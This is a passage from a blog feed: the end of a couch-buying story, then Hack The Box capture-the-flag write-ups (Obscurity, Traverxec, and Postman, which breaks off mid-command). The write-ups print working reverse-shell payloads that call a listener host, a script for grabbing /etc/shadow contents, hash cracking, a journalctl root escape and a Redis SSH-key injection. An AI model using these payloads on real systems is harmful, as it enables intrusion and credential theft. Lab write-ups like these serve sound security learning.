too’ and proceeded to place the order. But well, it was sold out. Hmm, not a big problem, I had 3 other options. Not surprisingly, all of those were sold out too…(well honestly one was available, from some other seller, who was selling it for $200 more than the first seller, so that was not an option). With that my tryst with couch buying took a pause.</p><p>A few days later, it occurred to me that the couch I found on Amazon might be available somewhere else. So I tried looking for it on other sites, but it was not sold anywhere else. But in this process I found another couch on Wayfair, which looked decent and was on 50% off! Definitely buying this one, I thought to myself. Informed my roommate about it the next morning, and decided to read the reviews and place the order if there wasn’t anything horribly wrong with it after I was done with work for that day. In hindsight, the process would have taken maybe 5 minutes and I could have done it right then to. And that was what I should have done, because guess what, since this couch was on 50% off, it was sold out by evening.</p><p>At this point, I had pretty much given up on buying a couch. However a few more days later (I think by now its more than 2 weeks past when we initially decided to buy a couch) I thought of giving it one last try. I had already invested so much time into looking for one, I didn’t feel like doing it all over again. So this time, I opened all the links that I had sent my roommate to see if by some alignment of the planets and stars, something was back in stock. Miraculously one was! I had learnt from my previous outings that I had to order immediately, and that’s what I did. I received an order confirmation from Amazon, a charge notification from my credit card, and an email from the seller thanking me for choosing their business. I would have to say I slept a little better that night. A week later I had my couch. End of story…</p><p>Well, no, it does not end there. This is only half of it. The next morning I sit to work and I get another mail from the seller. This time they are not as thankful as the previous time. In fact they are very apologetic. Apparently my couch is out of stock again, and the seller accepted my order by mistake… They said they will refund my money and they hope I will let them provide me furniture at some point in the future. Welp, back to square one.</p><p>My life is full of ups and downs, so this story of how I got a couch is proving to be very similar to how my life is. 2 days later, the seller emails me again. This time they were happy to inform me that they made a mistake the last time as they thought I had ordered a couch of a different color than I had actually ordered, and also that the color I had ordered was actually available. They mentioned my couch has been shipped and also gave me the tracking number.</p><p>If you’ve been reading closely, you would have guessed that there’s more between me and getting the couch. And you would be absolutely right. There is quite some more. After the seller shipped my couch, I got a text from FedEx saying there is a package for me and it should arrive on Monday. On Monday I get a text from FedEx that my package will be delivered to me by the evening. (If you are wondering how I get these texts, it’s because I am registered to FedEx delivery manager). I did not receive the package by the evening, so I checked the tracking website. That said Tuesday by evening. All this while the status is on FedEx vehicle for delivery. Tuesday became Wednesday and yet no couch. Wednesday evening after work, I looked at the tracking page again, and it said ‘There is no scheduled date for this delivery’, and it still said on FedEx vehicle. I was beginning to think the couch was being delivered to maybe LA, that it’s been in the vehicle since Monday.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bIx4-uLC2jqEceR6mf-FHQ.png" /></figure><p>This is not the first time my FedEx package has had no scheduled date for delivery. Last time it was when I had ordered my MacBook in 2018, and that MacBook got lost in transit. Kudos to Apple customer service that they sent me another one within 2 days of me reporting that FedEx tracking said ‘There is no scheduled date for this delivery’. I did not expect this from the furniture seller, but I decided to contact them anyway. As expected, the furniture seller was not as helpful as Apple. They basically said once they shipped it, it is not their responsibility and that I should contact FedEx. After some not so polite exchange of words, they agreed that if I don’t receive my couch by 7th of August, they will investigate the matter.</p><p>Next stop: FedEx customer service. I called their number, and listened to some pleasant music from their end for 20 minutes before an agent answered my call. The agent said the same thing that’s on the website: that he does not where it is and when it is going to be delivered. He said he will ask the delivery centre about my package and let me know what happened to my package by the next day. For me this looked like $300 down the drain.</p><p>Dejected at the prospect of loosing $300, I opened the Amazon app again to see if I could lodge a complain. I only found an option to contact the seller, which I already did. So, no help there. My plan was to just wait till 7th of August and then call the seller again, because I had given up the prospect of the package being delivered. When I had opened Amazon app, it also told me the few other things I had ordered had been delivered. Well, at least I got the pretty lights I had ordered.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*HRY__rd5tHYYgx6h2dvERg.png" /></figure><p>I went to the lobby to collect my package and lo and behold, there is this huge package with my name on it. My couch had been delivered! (Website still says pending, but whatever). I was ecstatic and overjoyed, but only for a minute, because well, I’d have to take this 100 lb couch to my apartment somehow. Usually for big packages, the courier service delivers it to the door, but not FedEx. I inform my roommate about this, we both complain about FedEx, and set about to somehow get the couch into our apartment. Fortunately, the elevator is not too far from the parcel room, and our apartment is not very far from the elevator either. So with some pushing and pulling (and some muscle injury in the process), we finally got the couch to the apartment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*iuqn1s6uB75BJuwWfcChDA.png" /></figure><p>The couch is still in its packaging at the time of writing, because we both have had our share of physical activity for today. Hopefully building the couch won’t be such an (mis)adventure. If it is, well more stories to tell!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=533fd3755eea" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box — Obscurity]]></title>
            <link>https://medium.com/@anuraagbaishya/hack-the-box-obscurity-87125b24206?source=rss-56bd95ddcf16------2</link>
            <guid isPermaLink="false">https://medium.com/p/87125b24206</guid>
            <dc:creator><![CDATA[Anuraag Baishya]]></dc:creator>
            <pubDate>Fri, 15 May 2020 21:18:55 GMT</pubDate>
            <atom:updated>2020-05-15T21:18:55.001Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hack The Box — Obscurity</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wEnF-b--zdFSU2BVq_w_5g.png" /></figure><p>Obscurity is a medium Linux box that I had a lot of fun working through. This box doesn’t rely on any CVEs and requires reading through Python code to find clues on how to gain access to the machine and to capture the flags. Although this machine was classified as medium, I found it simpler than some of the easy machines I have worked on in the past, but this may also be due to my good background in Python. Another interesting note about this challenge is that it revolved around the them of security by obscurity and hence the ‘company’ had developed a custom server, encryption scheme and SSH.</p><h3>NMAP</h3><p>As always, I started with a nmap scan of 10.10.10.168 The scan revealed 4 ports, but two were closed.</p><pre>nmap -sV --max-retries 1 10.10.10.168<br>Starting Nmap 7.80 ( <a href="https://nmap.org/">https://nmap.org</a> ) at 2019-12-31 15:09 EST<br>Verbosity Increased to 1.<br>Completed SYN Stealth Scan at 15:09, 5.15s elapsed (1000 total ports)<br>Initiating Service scan at 15:09<br>Scanning 2 services on obscure.htb (10.10.10.168)<br>Completed Service scan at 15:09, 9.84s elapsed (2 services on 1 host)<br>NSE: Script scanning 10.10.10.168.<br>Initiating NSE at 15:09<br>Completed NSE at 15:09, 0.18s elapsed<br>Initiating NSE at 15:09<br>Completed NSE at 15:09, 0.10s elapsed<br>Nmap scan report for obscure.htb (10.10.10.168)<br>Host is up (0.038s latency).<br>Not shown: 996 filtered ports<br>PORT     STATE  SERVICE    VERSION<br>22/tcp   open   ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>80/tcp   closed http<br>8080/tcp open   http-proxy BadHTTPServer<br>9000/tcp closed cslistener</pre><p>Browsing to 10.10.10.168:8080 revealed a webpage, which seemed like a static webpage. This particular part of the webpage stood out the most.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DdKSP1OexqTe8yYj0dxTGQ.png" /></figure><p>As you’ll see as the box continues, all of these have a role to play in completing the box. Inspecting the source of this webpage revealed something very interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z759ouxmsXK96R84wZKTWA.png" /></figure><h3>What the FUZZ?</h3><p>The source had a message for the developers: “the current source code for the web server is in ‘SuperSecureServer.py’ in the secret development directory”. Therefore, the next item on the to-do list was to find this directory and the file. At first I tried my trusty gobuster but that errored out for some reason not very clear to me. So I moved to wfuzz, but that also wasn’t in a mood to work today. Then I came across a new tool <a href="https://github.com/ffuf/ffuf">ffuf</a>, which is also a web fuzzer like wfuzz. I love an opportunity to try out new tools and this was no different. I was pretty impressed with the speed of this tool. It seemed much faster than wfuzz.</p><p>One thing to note here is that the aim is to find a directory containing SuperSecureServer.py and not just a valid directory. Therefore, the fuzz syntax will be http://10.10.10.168:8080/FUZZ/SuperSecureServer.py. Even though I had this syntax correct, it seemed to me that even ffuf was not able to locate the directory. But that was because I did not look at the output carefully. ffuf had found the directory on its first run! Since I was using very large wordlists, the output was huge. I was expecting ffuf to display what it found at the end, which it did not, but this might have been due to me not using the correct options. Lesson learnt: start with small wordlists!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gqsNqkgyA3EeDPn4PTYKpw.png" /></figure><p>The secret directory was develop. Honestly, this did not require any fuzzing or tools. Some guesswork would have been much faster. Anyway, I navigated to http://10.10.10.168:8080/develop/SuperSecureServer.py and found the file.</p><h3>The perils of exec()</h3><p>For someone not very familiar with Python, the next step might require some time. Since I have worked a lot with Python, seeing an exec() call in the code is an immediate red flag for me, as it can lead to remote code execution. exec() can run a Python program supplied to it as an argument. For example:</p><pre>&gt;&gt;&gt; exec(&quot;print(&#39;10 + 5 = &#39;, (10 + 5))&quot;)<br>10 + 5 =  15</pre><p>Here exec() executes the Python statement print(&#39;10 + 5 = &#39;, (10 + 5))</p><p>The vulnerable function in the code, serveDoc() serves the document docRoot/path. The first few lines are as follows:</p><pre>def serveDoc(self, path, docRoot):<br>        path = urllib.parse.unquote(path)<br>        print (path)<br>        try:<br>            info = &quot;output = &#39;Document: {}&#39;&quot; <br>            exec(info.format(path)) </pre><p>It is pretty evident from this that if we can send a python reverse shell as a path, we can have exec execute it and we will get a reverse shell. Because of the trailing part &quot;output = &#39;Document: {}&#39;&quot;, I needed to match the quotes and add a new line character \n to the payload. I found a one line Python reverse shell from <a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">pentestmonkey</a> (which is my go to cheatsheet for all kinds of reverse shells) and used that to gain access to the machine. The payload is</p><pre>&#39;\&#39;\nimport socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;10.10.14.10&quot;,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;]);\n\&#39;&#39;</pre><p>This needs to be URL encoded to preserve the special characters when using it as an URL</p><pre>&#39;%27%0Aimport%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%2210.10.14.10%22%2C4444))%3Bos.dup2(s.fileno()%2C0)%3B%20os.dup2(s.fileno()%2C1)%3B%20os.dup2(s.fileno()%2C2)%3Bp%3Dsubprocess.call(%5B%22%2Fbin%2Fsh%22%2C%22-i%22%5D)%3B%0A%27&#39;</pre><p>For sake of brevity, let’s say the payload is payload. Browsing to <a href="http://10.10.10.168:8080/payload">http://10.10.10.168:8080/payload</a> resulted in the payload being executed and I got a reverse shell!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XoBijaVFwXgWa-gCDWEh4w.png" /></figure><p>Through some basic enumeration, (read going to /home and listing the directories), I stumbled upon a few really interesting files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4lRoYHh7pga5nv9mG1sX0A.png" /></figure><h3>Home brewed coffee ✔ | Home brewed crypto 🚫</h3><p>The script SuperSecureCrypt is an encryption and decryption script. This script was used to encrypt check.txt to out.txt, and the password to passwordreminder.txt. In all probability the same key was used in both cases. Therefore, I needed to find the key. The encryption algorithm was a rather simple substitution algorithm.</p><pre>def encrypt(text, key):<br>    keylen = len(key)<br>    keyPos = 0<br>    encrypted = &quot;&quot;<br>    for x in text:<br>        keyChr = key[keyPos]<br>        newChr = ord(x)<br>        print (newChr, end=&#39; &#39;)<br>        print (newChr + ord(keyChr) % 255)<br>        newChr = chr((newChr + ord(keyChr)) % 255)<br>        encrypted += newChr<br>        keyPos += 1<br>        keyPos = keyPos % keylen<br>    return encrypted</pre><p>The algorithm works like this. Let’s say the key is ‘hello’ and the plaintext is ‘PUZZLEMENT’. Each character is converted to its corresponding ASCII value and then added to the ASCII value of the corresponding key character. All the values are kept below 255 by using the modulus operator. The algorithm repeats the key for the length of the plaintext if the key is shorter than the plaintext.</p><pre>P (80) + h (104) = (184)<br>U (85) + e (101) = (186)<br>Z (90) + l (108) = (198)<br>Z (90) + l (108) = (198)<br>L (76) + o (111) = (187)<br>E (69) + h (104) = (173)<br>M (77) + e (101) = (178)<br>E (69) + l (108) = (177)<br>N (78) + l (108) = (186)<br>T (84) + o (111) = (195)</pre><p>Thus, a simple subtraction of the encrypted and decrypted characters would reveal the key used for the encryption. Ideally, the function would have to account for the modulus operator, which can lead to negative values for some subtractions, but I did not have to account for that in this case. I added a guess_key function to the script to guess the key used. The output of this is the key repeated a number of times, but one can easily understand what the key is from the output.</p><pre>def guesskey(text, enctext):<br>    key = &quot;&quot;<br>    for x in range(len(text)):<br>        key += chr((ord(enctext[x]) - ord(text[x])))</pre><pre>print(key)</pre><p>The encrypted files in home/robert contain characters from the extended ASCII characterset, which might not render correctly on shell. For me the encrypted text contained whitespaces. A part of it looked like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*4oXs59g1nr0RUVRW3etVIg.png" /></figure><p>Copying this directly from the terminal is not a good idea since all the characters might not be showing correctly, or all the whitespaces might be recognized as only one character. The simplest way to copy over such data is to encode it. I used base64 encoding, but any encoding can be used.</p><pre>cat out.txt| base64<br>wqbDmsOIw6rDmsOew5jDm8Odw5.....</pre><p>To decode add the option --decode.</p><pre>cat out-b64.txt|base64 --decode<br>¦ÚÈêÚÞØÛÝÝ ×ÐÊß.....</pre><p>I copied the password file over in the same way, and using the guessed key from check.txt and out.txt I got the password for user robert and I was able to SSH into the machine as user robert and get the user flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C5GiWnQNxEx-T7W_xT_24g.png" /></figure><h3>Better SSH?</h3><p>The last part of the box required finding a flaw in the BetterSSH.py and using it to gain root access. First, I ran sudo -l to see which programs robert is allowed to run as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cDmbpFsdEkH87iQdYoUVYg.png" /></figure><p>I wasn’t all that surprised to see that robert could run BetterSSH as root. I proceeded with reading the code, as there were two things in particular that caught my eye. First, the code read the file /etc/shadow that contains the passwords for all users, and second it wrote them to /tmp/SSH/random where random is some random string generated every time the script is run.</p><pre>with open(&#39;/etc/shadow&#39;, &#39;r&#39;) as f:<br>        data = f.readlines()<br>    data = [(p.split(&quot;:&quot;) if &quot;$&quot; in p else None) for p in data]<br>    passwords = []<br>    for x in data:<br>        if not x == None:<br>            passwords.append(x)</pre><pre>passwordFile = &#39;\n&#39;.join([&#39;\n&#39;.join(p) for p in passwords]) <br>    with open(&#39;/tmp/SSH/&#39;+path, &#39;w&#39;) as f:<br>        f.write(passwordFile)</pre><p>The main flaw in the script is that it checks for the password after it writes the shadow file to the tmp directory. To run this script, I needed to create the /tmp/SSH directory first. Since the operation happens very fast, it is almost impossible to read the written file manually. So I wrote a simple Python script to continually query the folder. If it finds a file that does not have the extension .py or .txt it outputs the file and terminates. The .py filter was to make the script skip its source code file when traversing the directory. The script uses a .txt file to keep track of subdirectories to perform a recursive search and to skip this file, I added the .txt filter.</p><pre>import os<br>import sys<br> <br>def walk():<br>    walk_dir = sys.argv[1]</pre><pre>    for root, subdirs, files in os.walk(walk_dir):<br>        list_file_path = os.path.join(root, directory-list.txt&#39;)</pre><pre>    with open(list_file_path, &#39;wb&#39;) as list_file:</pre><pre>        for filename in files:<br>            file_path = os.path.join(root, filename)</pre><pre>            if &#39;.py&#39; not in file_path and &#39;.txt&#39; not in file_path: <br>                 with open (file_path, &#39;r&#39;) as f:<br>                        print(f.read())<br>                        return True<br>    return False</pre><pre>while True:<br>    if not walk():<br>        continue<br>    else:<br>        break</pre><p>I ran the script first, and then ran BetterSSH.py. Any random username and password can be used for BetterSSH. The script output the hashed root password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*POxsIQqr335M7yD3d3eIKg.jpeg" /></figure><p>Using John, I cracked the hash and got the root password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sC2k8tSIBBHVXgrr_jcxFw.jpeg" /></figure><p>Since I had the credentials, I could use BetterSSH with these credentials to get the root shell. From there I could read the root flag and complete the box!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9cIG8VqnbAbyzz_TlvrQlQ.jpeg" /></figure><p>That is it for this box. I have realized that my Windows based CTF skills are very limited when compared to Linux (which are about average to start with) and hence I will be trying to do more Windows boxes too. If you have any favorite tools or scripts for Windows boxes, do let me know!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=87125b24206" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box — Traverxec]]></title>
            <link>https://medium.com/@anuraagbaishya/hack-the-box-traverxec-a249b46d490?source=rss-56bd95ddcf16------2</link>
            <guid isPermaLink="false">https://medium.com/p/a249b46d490</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Anuraag Baishya]]></dc:creator>
            <pubDate>Sat, 11 Apr 2020 19:03:20 GMT</pubDate>
            <atom:updated>2020-04-11T19:03:20.176Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hack The Box — Traverxec</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VTYV9BWEZle9-NhMr0Jw8Q.png" /></figure><p>Traverxec is an easy Linux box which probably had one of the simplest footholds I’ve come across. It also involved reading some manuals and figuring out some tricks to get both user and root.</p><p>Before starting, I would like to point out that this box drove me mad. Not because it was difficult or anything, but because I could only stay connected to the machine for 10 seconds before the connection froze and I was denied service for the next 5 minutes. This frustration made me buy a VIP subscription. Maybe this is a good marketing tactic, I don’t know.</p><h3>NMAP</h3><p>As always, I started with a nmap scan to find interesting ports and services. The nmap scan returned two open ports, 22 and 80.</p><pre>nmap -sV --max-retries 1 10.10.10.165     <br>Starting Nmap 7.80 ( <a href="https://nmap.org/">https://nmap.org</a> ) at 2019-12-29 18:42 EST<br>Nmap scan report for traverxec.htb (10.10.10.165)<br>Host is up (0.032s latency).<br>Not shown: 998 filtered ports<br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)<br>80/tcp open  http    nostromo 1.9.6<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><pre>Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br>Nmap done: 1 IP address (1 host up) scanned in 11.77 seconds</pre><p>The website hosted at port 80 did not have anything interesting. It was a just a static page with no logins. It did have a contact form at the bottom but that did not do anything.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hK-NyUF_GXN7GDfhy6lBdA.png" /></figure><h3>Nostromo’s CVEs</h3><p>The HTTP server Nostromo wasn’t something I had ever heard of, but each box teaches me something new, so I set about trying to find more information about it. The first Google search for ‘Nostromo 1.9.6’ came up with two CVEs. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16278">CVE-2019–16278</a> and <a href="https://nvd.nist.gov/vuln/detail/CVE-2019-16279">CVE-2019–16279</a>. The former is a directory traversal exploit that can lead to remote code execution and the second is denial of service vulnerability. Remote code execution vulnerabilities are always very useful and this was no different. The vulnerability and its exploit are explained very well <a href="https://www.sudokaikan.com/2019/10/cve-2019-16278-unauthenticated-remote.html">here</a>. The author has also developed a <a href="https://github.com/sudohyak/exploit/blob/master/CVE-2019-16278/exploit.py">script</a> that can be used to exploit the vulnerable server. The script takes a host, a port and a command as command line parameters. I used this command:</p><pre>&quot;echo &#39;bash -i &gt;&amp; /dev/tcp/10.10.15.141/4444 0&gt;&amp;1&#39; &gt; /tmp/exploit.sh; bash /tmp/exploit.sh&quot;</pre><p>This creates a file named exploit.sh in the /tmp folder, which when called creates a reverse shell. I used nc to receive the reverse shell. This was fairly straightforward and I was able to get a reverse shell without much effort.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P1r4kqUeUxCdWalUjOb2rA.png" /></figure><h3>Who art thou, david?</h3><p>From here, I did a little enumeration. I found the home folder for user david, but strangely I could not list the files in this directory as I did not have the executable permission for this directory. I came across a Nostromo configuration file called nhttpd.conf at /var/nostromo/conf. Of particular interest in this file is the basic authentication section which mentions the file /var/nostromo/conf/.htpasswd. This file contained a hashed password</p><pre>david:$1$e7NfNpNi$A6nCwOTqrxxxxxxxxxxxxx</pre><p>For all things cracking, my friend John helps me out every time. I used John to crack the hash and get the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fhc0Bzcb__0AoxmdyalecQ.jpeg" /></figure><p>I tried SSHing as user david using these credentials but it did not work. I did not find any other avenues to input credentials so I went back to looking through the files I found, especially nhttpd.conf. Reading the manual for Nostromo, I found that the home directory for an user can be accessed as http://website.com/~username. I tried to access the home directory for david http://10.10.10.165/~david and landed on this page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wN3-VHhXJo0W7u99FJCaSQ.png" /></figure><p>This page also did not have anything that stood out. The manual for Nostromo said that a user could restrict access to a specific folder in the home directory using the homedirs_public option in the configuration file. The homedirs_public was set to public_www. I tried browsing to http://10.10.10.165/~david/public_www but that returned a 404 Not Found. Next, I tried to browse to /home/david/public_www using the terminal. I was able to get into the directory. This directory contained a number of files including a index.html which meant http://10.10.10.165/~david/ was set to load files from this directory. This made sense, since the home directory was restricted to this subdirectory in the configuration file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z6h0pMvcfgb14ujlt_d7nw.png" /></figure><p>This directory had a subdirectory called protected-file-area. This subdirectory contained a file backup-ssh-identity-files.tgz. I tried extracting these files but I did not have the permission to extract them into that folder. I navigated to http://10.10.10.165/~david/protected-file-area to download the files to my machine. This required authentication and I could use the credentials I found on the .htpasswd to authenticate to this webpage.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oVGGIKChP7NYKc2wFtdr9w.png" /></figure><p>After authenticating, I downloaded the file and extracted its contents. The compressed file contained the directory /home/david/.ssh. This directory contained, amongst other files, a id_rsa file, which was encrypted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wJU07yu7iXeYvo5oqeR1SA.png" /></figure><p>To crack this encryption, John can be used, but first the file needs to converted to a format that John can understand. ssh2john can help with that.</p><pre>ssh2john.py id_rsa &gt; out.txt</pre><p>Then, I used John to get the password for the id_rsa file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b0i1I6dQ4kmcY8wFVO-akg.jpeg" /></figure><p>Using the id_rsa file and the password, I was able to SSH into the machine. as user david. From here, I could read the user.txt file. User owned!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6IRpWsidwdvxi1XilwCZtg.jpeg" /></figure><h3>The root is within reach!</h3><p>After owning the user, the task at hand was to own root. I must commend the creator of this box. The root method was there right in front of my eyes and yet I took quite a long time to get root. I did not have to look very far to find some interesting file. The home directory contained a bin/server-stats.sh file. One line in the file particularly stood out:</p><pre>/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service</pre><p>Running this command results in this output (which is details about nostromo.service).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZucrCEAnANegsLc91muUEg.png" /></figure><p>Altering this command in any form (including changing -n value) results in a password prompt for the user david, which I did not have. From <a href="https://gtfobins.github.io/">GTFObins</a> I found that journalctl could be used to get a shell. But that is when journalctl has a prompt at the bottom to type, like shown below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ISgp9uKp7BcnZPpC7a1y9w.png" /></figure><p>But the journalctl output from the command did not have this prompt. After some trial and error, and reading, I found that one way to get this prompt was to have less space at the bottom of the terminal screen. Why this is, I am not sure. Anyway, so now I had to somehow get my terminal to have very less space at the end when executing the command. Reducing the size of the terminal and executing the command when the cursor was towards the bottom of the screen helped and I finally got the prompt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ONSes5e8vNC_gOYEQjxf1Q.jpeg" /></figure><p>I executed !/usr/bin/sh using the prompt and got a privileged shell. Root owned!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LYmPg3nEVRuC29550OEY5g.jpeg" /></figure><p>That’s it. One more box done. Thank you for reading through this. Any feedback is appreciated!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a249b46d490" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box — Postman]]></title>
            <link>https://medium.com/@anuraagbaishya/hack-the-box-postman-2093aa6f097?source=rss-56bd95ddcf16------2</link>
            <guid isPermaLink="false">https://medium.com/p/2093aa6f097</guid>
            <dc:creator><![CDATA[Anuraag Baishya]]></dc:creator>
            <pubDate>Sun, 15 Mar 2020 18:00:08 GMT</pubDate>
            <atom:updated>2020-03-15T18:00:08.517Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hack The Box — Postman</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sl51UNAmZHDpyx4sb03qEg.png" /></figure><p>Postman is a Linux based easy machine. It lives at <a href="http://10.10.10.160/">10.10.10.160</a>. This box involved using redis-cli bugs to get an initial foothold. User involved finding a password from a file and root required exploiting a CVE.</p><h3>NMAP</h3><p>As always, I ran nmap on this IP address to see the open ports and services.</p><pre>$nmap -p- -sV -sC --max-retries 1 10.10.10.160 -v<br>PORT      STATE SERVICE VERSION<br>22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)<br>|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)<br>|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)<br>80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))<br>|_http-favicon: Unknown favicon MD5: E234E3E8040EFB1ACD7028330A956EBF<br>| http-methods: <br>|_  Supported Methods: GET POST OPTIONS HEAD<br>|_http-server-header: Apache/2.4.29 (Ubuntu)<br>|_http-title: The Cyber Geek&#39;s Personal Website<br>6379/tcp  open  redis   Redis key-value store 4.0.9<br>10000/tcp open  http    MiniServ 1.910 (Webmin httpd)<br>|_http-favicon: Unknown favicon MD5: 91549383E709F4F1DD6C8DAB07890301<br>| http-methods: <br>|_  Supported Methods: GET HEAD POST OPTIONS<br>|_http-title: Site doesn&#39;t have a title (text/html; Charset=iso-8859-1).</pre><p>Navigating to 10.10.10.160 shows The Cyber Geek’s personal website, which doesn’t have anything interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6R0cJbvtsFXiKEOvhV6Sqw.png" /></figure><p>The nmap scan shows another port for http, 10000. The scan results also reveal that Webmin is running on this port. However, I could not reach the Webmin page directly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZqcR2JBXVFWSVKqcWiy7Dw.png" /></figure><p>After adding for Postman to my /etc/hosts file, I was able to reach the Webmin page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ouWxDcWucOIbN2rqtQXQrQ.png" /></figure><p>This seemed interesting and I set about trying to find exploits for Webmin, which would either allow me to bypass the authentication or let me find the credentials. I also ran gobuster to check if there were some hidden pages containing the credentials or hints on obtaining them. I did find some exploits but they were not usable at the moment. (More on this later). gobuster also did not find anything particularly interesting. Thus I was left with ports 22 for ssh, which also required credentials, and port 6379 for Redis.</p><h3>Enter Redis</h3><p>To be very honest, my knowledge of Redis is highly limited. All I know of it is that it is an in-memory database which uses a key-value model to store data. After some googling and research, I found <a href="https://packetstormsecurity.com/files/134200/Redis-Remote-Command-Execution.html">this</a> article on PacketStorm that talks about remote code execution using Redis. (Surprisingly, this article is authored by the author of Redis. Kudos to him for disclosing security issues in his own product publicly!).</p><p>The exploit in itself is not too complicated. Some basic knowledge of using redis-cli helps with this. First, I checked if I could connect to the Redis service without authentication.</p><pre>redis-cli -h 10.10.10.160</pre><p>Not surprisingly, I got the prompt and was able to get into Redis on the target machine. The way this exploit works is that the attacker creates a SSH key and saves it to ~/.ssh/authorized_keys. After that, the attacker can use the ssh key to log in to the machine. The first step to do this is to generate a SSH key</p><pre>ssh-keygen -t rsa -C &quot;postman@htb&quot;</pre><p>Next, I needed to put this key into Redis memory. For this, I wrote the key to a txt file. I added blank lines before and after they key so that SSH can recognize this as a valid key. I used redis-cli to write the key into the redis memory.</p><pre>cat foo.txt | redis-cli -h 10.10.10.160 -x set postmanhtb</pre><p>The final step is to somehow get this key to authorized_keys. I checked what Redis was currently using and I found that it was using /var/lib/redis.</p><pre>10.10.10.160:6379&gt; config get dir<br>1) &quot;dir&quot;<br>2) &quot;/var/lib/redis/&quot;</pre><p>Continuing with the article, I tried to change the directory to /home/&lt;username&gt;/.ssh. I didn’t have an username so I just tried redis. This didn’t work. I got an error saying the file did not exist.</p><pre>10.10.10.160:6379&gt; config set dir /Users/home/redis/.ssh<br>(error) ERR Changing directory: No such file or directory</pre><p>I tried some other guesses and it was either the file did not exist or I didn’t have permission to change the directory to that particular directory.</p><pre>(error) ERR Changing directory: Permission denied</pre><p>If I knew how Redis worked, this would be common sense, but as I mentioned above, I had no idea how Redis worked. So I read up a little on what the /var/lib/redis folder was. I learnt that it was the home directory for the redis user. Since this directory was the home directory for a user, I guessed it should have a .ssh folder (if it was configured to use SSH). And it did. I was able to change the directory to /var/lib/redis/.ssh</p><pre>10.10.10.160:6379&gt; config set dir 